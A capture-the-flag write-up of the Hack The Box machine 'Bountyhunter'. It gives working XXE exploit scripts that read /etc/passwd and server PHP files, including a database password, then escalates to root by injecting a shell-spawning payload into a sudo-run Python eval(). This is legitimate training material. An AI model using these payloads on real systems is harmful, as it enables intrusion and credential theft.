Writeup for the easy ranked HTB box Bountyhunter
This writeup describes how I approached the box Bountyhunter from Hackthebox. The box is based on Linux and it is rated easy. My style of writeups is to describe how I was thinking when attacking them. My personal opinion is that I learn from analyzing my process over and over again, and you learn more from understanding the process than just following a guide. So if you just want a step by step guide perhaps it’s best to look elsewhere. :) Now let’s get going!
Scanning the target with NMAP
First of all let’s see what attack surfaces are available. Let’s run NMAP for a fast scan of all open ports.
βββ(rootπ45e69aa07842)-[/]
ββ# nmap -p 0-65535 10.129.180.188 -T5
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 09:24 UTC
Nmap scan report for 10.129.180.188
Host is up (0.0011s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
0/tcp closed unknown
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 56.89 seconds
Now we know that port 22 and port 80 is open. Let’s start another scan that will gather some more information from just these ports.
βββ(rootπ19fd5777029e)-[/]
ββ# nmap -sS -sV -A -p 22,80 10.129.180.188 -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 20:17 UTC
Nmap scan report for 10.129.180.188
Host is up (0.0091s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 0.01 ms 172.17.0.1
2 1.56 ms 10.129.180.188
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.11 seconds
Nmap shows a rather limited attack surface. SSH and HTTP ports are open. The server seems to be running Ubuntu and Apache but there’s not much more information here. There’s a much better chance of finding a vulnerability in the web application than SSH so let’s try that.
Scanning the HTTP server with DIRB
Let’s scan the http server using dirb. I always do this even if I have found a possible vulnerability already. Gathering as much information as possible early most of the time pays off in the end.
βββ(rootπ19fd5777029e)-[/]
ββ# dirb http://10.129.180.188
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Jul 29 19:25:43 2021
URL_BASE: http://10.129.180.188/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.129.180.188/ ----
==> DIRECTORY: http://10.129.180.188/assets/
==> DIRECTORY: http://10.129.180.188/css/
+ http://10.129.180.188/index.php (CODE:200|SIZE:25169)
==> DIRECTORY: http://10.129.180.188/js/
==> DIRECTORY: http://10.129.180.188/resources/
+ http://10.129.180.188/server-status (CODE:403|SIZE:279)
---- Entering directory: http://10.129.180.188/assets/ ----
==> DIRECTORY: http://10.129.180.188/assets/img/
---- Entering directory: http://10.129.180.188/css/ ----
---- Entering directory: http://10.129.180.188/js/ ----
---- Entering directory: http://10.129.180.188/resources/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.129.180.188/assets/img/ ----
+ http://10.129.180.188/assets/img/favicon.ico (CODE:200|SIZE:23462)
==> DIRECTORY: http://10.129.180.188/assets/img/portfolio/
---- Entering directory: http://10.129.180.188/assets/img/portfolio/ ----
-----------------
END_TIME: Thu Jul 29 19:45:57 2021
DOWNLOADED: 27672 - FOUND: 3
That’s not very much of interest. Let’s move on and poke around in the web app.
Analyzing the web page and backend
Let’s fire up our browser and check out what the web page looks like.
If you scroll through the site you can see that there is not much available. Before using Burp Suite or any other more advanced tools I usually just use the built in developer tools in the browser to analyze the code. Start developer tools (Chrome ctrl-shift-i).
There are three options available from the upper menu: ABOUT, CONTACT and PORTAL. Most of the code is just static html and the contact form does not seem to be implemented yet so the way forward seems to be the portal.
The portal is under development, and we are provided a link to test the bounty tracker. That’s what we like, unfinished code is most often vulnerable.
Finally, we found a form where we seem to be able to interact with some kind of backend. Let’s start developer tools again and post some stuff to see what we can do. Just fill in the fields and push submit.
I used A, B, V and D (don’t ask :)) in the different fields to be able to separate them later. And it seems to work. The current page is updated and the data we provided is returned back to us. Looking at the request header we can see that we are posting trough the endpoint tracker_diRbPr00f314.php.
Request URL: http://10.129.180.188/tracker_diRbPr00f314.php
Request Method: POST
Status Code: 200 OK
Remote Address: 10.129.180.188:80
Referrer Policy: strict-origin-when-cross-origin
At this time I tried to inject some PHP into the fields but That does not seem to work so let’s analyze it further. We can use the developer tools to scroll through the headers that was sent and check the form data.
data:PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5BPC90aXRsZT4KCQk8Y3dlPkI8L2N3ZT4KCQk8Y3Zzcz5WPC9jdnNzPgoJCTxyZXdhcmQ+RDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==
This seems to be just a large blob of base64 encoded stuff so let’s decode it.
βββ(rootπ45e69aa07842)-[/]
ββ# echo PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5BPC90aXRsZT4KCQk8Y3dlPkI8L2N3ZT4KCQk8Y3Zzcz5WPC9jdnNzPgoJCTxyZXdhcmQ+RDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg== | base64 -d
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>A</title>
<cwe>B</cwe>
<cvss>V</cvss>
<reward>D</reward>
</bugreport>
So it’s a simple XML document that is posted to the server. It looks like this if we prettyprint it.
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>A</title>
<cwe>B</cwe>
<cvss>V</cvss>
<reward>D</reward>
</bugreport>
That’s rather straight forward. We can see all the fields present so now we could start to manipulate them. Let’s create a script for this purpose so we do not have to deal with the base64 encoding manually every time.
Creating a python script to interact with the backend
We need the module requests to create http requests from python so letβs install it.
βββ(rootπ45e69aa07842)-[/]
ββ# pip install requests
Collecting requests
Downloading requests-2.26.0-py2.py3-none-any.whl (62 kB)
|ββββββββββββββββββββββββββββββββ| 62 kB 1.4 MB/s
Collecting idna<4,>=2.5
Downloading idna-3.2-py3-none-any.whl (59 kB)
|ββββββββββββββββββββββββββββββββ| 59 kB 8.6 MB/s
Collecting urllib3<1.27,>=1.21.1
Downloading urllib3-1.26.6-py2.py3-none-any.whl (138 kB)
|ββββββββββββββββββββββββββββββββ| 138 kB 16.0 MB/s
Collecting certifi>=2017.4.17
Downloading certifi-2021.5.30-py2.py3-none-any.whl (145 kB)
|ββββββββββββββββββββββββββββββββ| 145 kB 8.1 MB/s
Collecting charset-normalizer~=2.0.0
Downloading charset_normalizer-2.0.3-py3-none-any.whl (35 kB)
Installing collected packages: urllib3, idna, charset-normalizer, certifi, requests
Successfully installed certifi-2021.5.30 charset-normalizer-2.0.3 idna-3.2 requests-2.26.0 urllib3-1.26.6
Now let’s create a script that takes the XML document, base64 encodes it and posts it to the backend.
#/bin/python3
import base64
import requests
url = 'http://10.129.180.188/tracker_diRbPr00f314.php'
doc = '<?xml version="1.0" encoding="ISO-8859-1"?>'\
'<bugreport>'\
'<title>A</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward>D</reward>'\
'</bugreport>'
payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))
x = requests.post(url, data = payload)
print(x.text)
We save the file as exploit.py and try to run it.
βββ(rootπ45e69aa07842)-[/]
ββ# python3 exploit.py
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td>A</td>
</tr>
<tr>
<td>CWE:</td>
<td>B</td>
</tr>
<tr>
<td>Score:</td>
<td>C</td>
</tr>
<tr>
<td>Reward:</td>
<td>D</td>
</tr>
</table>
And yes, it works. The server returns some html formatted data back to us. At this time, I once again tried to inject some PHP into these fields but without any luck.
So something is parsing XML on the server side. This could be vulnerable to either XML External Entity (XXE) or some kind of serialization issue or other bug in the backend. I tried to crash the app by sending strange characters like ‘^'`"#Β€"#Β€&Β€%/ and so on but I did not succeed.
So let’s try to exploit some XXE instead.
Use XXE exploitation to exfiltrate files
This is a good place for some information on the subject here.
The use of external entities makes it possible to insert a file from a filesystem or a URL into the XML at the time when the document is being parsed. Hopefully this happens on the server side and we can accomplish LFI. This is what it looks like.
'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>'
'<title>&xxe;</title>'
We try to insert the file /etc/passwd which is always available on Linux system and if it works its contents will be injected in the title tag instead of the &xxe. I altered the exploit.py script to include the XXE exploit:
#/bin/python3
import base64
import requests
url = 'http://10.129.180.188/tracker_diRbPr00f314.php'
doc = '<?xml version="1.0" encoding="ISO-8859-1"?>'\
'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>' \
'<bugreport>'\
'<title>&xxe;</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward>D</reward>'\
'</bugreport>'
payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))
x = requests.post(url, data = payload)
print(x.text)
So what happens when we run it?
βββ(rootπ45e69aa07842)-[/]
ββ# python3 exploit.py
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
</tr>
<tr>
<td>CWE:</td>
<td>B</td>
</tr>
<tr>
<td>Score:</td>
<td>C</td>
</tr>
<tr>
<td>Reward:</td>
<td>D</td>
</tr>
</table>
It works!! /etc/passwd is injected into the title. But now what? Looking at the passwd file we can see that there is one user called development that can login to the system. I tried to grab his private ssh key (/home/development/.ssh/id_rsa) by altering the script again but that did not work. So, letβs try to grab the tracker_diRbPr00f314.php just to check it out. We alter the script once again (At this point perhaps it should have been better to use the filename as an argument but I didn’t think I would spend much time on this.).
#/bin/python3
import base64
import requests
url = 'http://10.129.180.188/tracker_diRbPr00f314.php'
doc = '<?xml version="1.0" encoding="ISO-8859-1"?>'\
'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://tracker_diRbPr00f314.php"> ]>' \
'<bugreport>'\
'<title>&xxe;</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward>D</reward>'\
'</bugreport>'
payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))
x = requests.post(url, data = payload)
print(x.text)
Let’s run exploit.py
once again.
βββ(rootπ45e69aa07842)-[/]
ββ# python3 exploit.py
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td></td>
</tr>
<tr>
<td>CWE:</td>
<td></td>
</tr>
<tr>
<td>Score:</td>
<td></td>
</tr>
<tr>
<td>Reward:</td>
<td></td>
</tr>
</table>
NOTHING?? That’s strange. We know it’s there. Of course, there could be some issues with paths and current directory but after trying some different stuff and nothing worked, I came to the conclusion that we need to encode our stuff to get it back. Can that be done? After some googling, I found this:
Let’s modify the script and try to use the php-filter to base64 encode our LFI. At this time, I tried some different paths but, in this script, the one that seems to work is /var/www/html, that is the default path for serving pages with Apache on Ubuntu.
#/bin/python3
import base64
import requests
url = 'http://10.129.180.188/tracker_diRbPr00f314.php'
doc = '<?xml version="1.0" encoding="ISO-8859-1"?>'\
'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/tracker_diRbPr00f314.php"> ]>' \
'<bugreport>'\
'<title>&xxe;</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward></reward>'\
'</bugreport>'
payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))
x = requests.post(url, data = payload)
print(x.text)
Let’s run exploit.py
once again
βββ(rootπ45e69aa07842)-[/]
ββ# python3 exploit.py
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td>PD9waHAKCmlmKGlzc2V0KCRfUE9TVFsnZGF0YSddKSkgewokeG1sID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2RhdGEnXSk7CmxpYnhtbF9kaXNhYmxlX2VudGl0eV9sb2FkZXIoZmFsc2UpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7CiRkb20tPmxvYWRYTUwoJHhtbCwgTElCWE1MX05PRU5UIHwgTElCWE1MX0RURExPQUQpOwokYnVncmVwb3J0ID0gc2ltcGxleG1sX2ltcG9ydF9kb20oJGRvbSk7Cn0KPz4KSWYgREIgd2VyZSByZWFkeSwgd291bGQgaGF2ZSBhZGRlZDoKPHRhYmxlPgogIDx0cj4KICAgIDx0ZD5UaXRsZTo8L3RkPgogICAgPHRkPjw/cGhwIGVjaG8gJGJ1Z3JlcG9ydC0+dGl0bGU7ID8+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZD5DV0U6PC90ZD4KICAgIDx0ZD48P3BocCBlY2hvICRidWdyZXBvcnQtPmN3ZTsgPz48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkPlNjb3JlOjwvdGQ+CiAgICA8dGQ+PD9waHAgZWNobyAkYnVncmVwb3J0LT5jdnNzOyA/PjwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+UmV3YXJkOjwvdGQ+CiAgICA8dGQ+PD9waHAgZWNobyAkYnVncmVwb3J0LT5yZXdhcmQ7ID8+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgo=</td>
</tr>
<tr>
<td>CWE:</td>
<td>B</td>
</tr>
<tr>
<td>Score:</td>
<td>C</td>
</tr>
<tr>
<td>Reward:</td>
<td></td>
</tr>
</table>
Yes now it works. Cut out that base64 and decode it and we get some PHP.
<?php
if(isset($_POST['data'])) {
$xml = base64_decode($_POST['data']);
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$bugreport = simplexml_import_dom($dom);
}
?>
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td><?php echo $bugreport->title; ?></td>
</tr>
<tr>
<td>CWE:</td>
<td><?php echo $bugreport->cwe; ?></td>
</tr>
<tr>
<td>Score:</td>
<td><?php echo $bugreport->cvss; ?></td>
</tr>
<tr>
<td>Reward:</td>
<td><?php echo $bugreport->reward; ?></td>
</tr>
</table>
That seems to be the PHP file from the server side. But now what? We can grab any file that we have permissions for now. But it’s an endless guessing game and I hate guessing games. I decided to go for PHP files like database configurations and stuff but since we do not now where they put them it’s back to guessing paths again.
Let’s see if DIRB with a seclist dedicated for PHP can help us.
Scanning for PHP specific files with DIRB
βββ(rootπ45e69aa07842)-[/]
ββ# dirb http://10.129.180.188 /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Jul 28 10:52:12 2021
URL_BASE: http://10.129.180.188/
WORDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt
-----------------
GENERATED WORDS: 5163
---- Scanning URL: http://10.129.180.188/ ----
+ http://10.129.180.188/index.php (CODE:200|SIZE:25169)
+ http://10.129.180.188/db.php (CODE:200|SIZE:0)
+ http://10.129.180.188/portal.php (CODE:200|SIZE:125)
-----------------
END_TIME: Wed Jul 28 10:56:14 2021
DOWNLOADED: 5163 - FOUND: 3
And yes there’s a db.php file that could be interesting. (Note to self: add this type of scanning in the recon phase if the site is using PHP.) Now let’s change our script and grab that file.
Exfiltrating db.php
Once again we alter the script, now to grab the db.php file.
#/bin/python3
import base64
import requests
url = 'http://10.129.180.134/tracker_diRbPr00f314.php'
doc = '<?xml version="1.0" encoding="ISO-8859-1"?>'\
'<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/db.php"> ]>' \
'<bugreport>'\
'<title>&xxe;</title>'\
'<cwe>B</cwe>'\
'<cvss>C</cvss>'\
'<reward></reward>'\
'</bugreport>'
payload = {}
payload['data'] = base64.b64encode(doc.encode('ascii'))
x = requests.post(url, data = payload)
print(x.text)
Execute the script.
βββ(rootπ45e69aa07842)-[/]
ββ# python3 exploit.py
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=</td>
</tr>
<tr>
<td>CWE:</td>
<td>B</td>
</tr>
<tr>
<td>Score:</td>
<td>C</td>
</tr>
<tr>
<td>Reward:</td>
<td></td>
</tr>
</table>
Cut out the base64 encoded part and decode it and we get some PHP.
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
Aha, we found a password. Let’s try using that password for logging in as the development user via ssh. You should always try found passwords with every known user since it’s common to reuse passwords.
Logging in as development via SSH
βββ(rootπ45e69aa07842)-[/]
ββ# ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 28 Jul 2021 11:03:41 AM UTC
System load: 0.0
Usage of /: 24.1% of 6.83GB
Memory usage: 14%
Swap usage: 0%
Processes: 215
Users logged in: 0
IPv4 address for eth0: 10.129.180.188
IPv6 address for eth0: dead:beef::250:56ff:feb9:da71
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jul 27 20:09:34 2021 from 10.10.14.56
development@bountyhunter:~$
SUCCESS! We have a foothold and we got our user.
development@bountyhunter:~$ ls -la
total 48
drwxr-xr-x 5 development development 4096 Jul 27 20:10 .
drwxr-xr-x 3 root root 4096 Jun 15 16:07 ..
lrwxrwxrwx 1 root root 9 Apr 5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 development development 3771 Feb 25 2020 .bashrc
drwx------ 2 development development 4096 Apr 5 22:50 .cache
-rw-r--r-- 1 root root 471 Jun 15 16:10 contract.txt
lrwxrwxrwx 1 root root 9 Jul 5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development 4096 Apr 6 23:34 .local
-rw-r--r-- 1 development development 807 Feb 25 2020 .profile
drwx------ 2 development development 4096 Apr 7 01:48 .ssh
-rw-rw-r-- 1 development development 103 Jul 27 20:10 ticket.md
-r--r----- 1 root development 33 Jul 27 20:08 user.txt
-rw------- 1 development development 770 Jul 27 20:10 .viminfo
development@bountyhunter:~$ cat user.txt
deadbeefdeadbeefdeadbeefdeadbeef
development@bountyhunter:~$
Enumerating for privilege escalation path
Before scanning a system using great tools like linenum and linpeas you should always try some simple things first. One of them is sudo -l.
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
And praise the dark lord, this time we found a possible attack surface at our first attempt. We are able to run the script /opt/skytrain_inc/ticketValidator.py with root privileges using sudo. So if we can find a vulnerability in that script which we can exploit to execute commands, then we are gods of the system. Let’s check out the script.
Exploiting /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Just by looking at the code we can see that it parses a file which we are able to provide the path to. There’s a bunch of if statements that looks for stuff in the file. And there’s this very interesting line:
validationNumber = eval(x.replace("**", ""))
If we can control what is going into that eval function, we will be able to execute code. So the program reads the file line by line and checks if it’s in the desired format.
My take on this was using Visual studio code. Putting breakpoints on every if statement and debugging. By running this several times, I figured out what the format of the file was supposed to look like, and I finally hit that eval function. Before entering the eval it splits the line using the character + and then it performs the % operator on the first part of the split.
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
So if I can get the result of int(ticketCode) % 7
to become 4 I will get into that eval statement and by making the second part spawning a shell I should have root permissions. I figured out that 25 % 7 = 4
and the separator is +
so at the other side we put some code __import__('os').system('/bin/sh')
to spawn a shell. My final ticket file looked like this.
# Skytrain Inc
## Ticket to [email protected]
__Ticket Code:__
**25+__import__('os').system('/bin/sh')
I saved it as /home/development/ticket.md. Now let’s try to use it.
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/ticket.md
Destination: [email protected]
# whoami
root
# cat /root/root.txt
deadbeefdeadbeefdeadbeefdeadbeef
And we are God (or Satan). I think this box was a great one in the easy category. My only complaint comes down to the user part being much harder than the privesc part. Perhaps it’s just me but every time it comes to guessing I find myself spending time on pointless things. I probably should improve my game of enumeration and stop guessing.
This could have been a much smoother ride if I had implemented the LFI filename as an argument into the python script. I should probably have included base64 decoding as well and I should have scanned for PHP specific files from the start. But that’s why we do this, to learn and improve.
Happy hacking!
/Christian (f1rstr3am)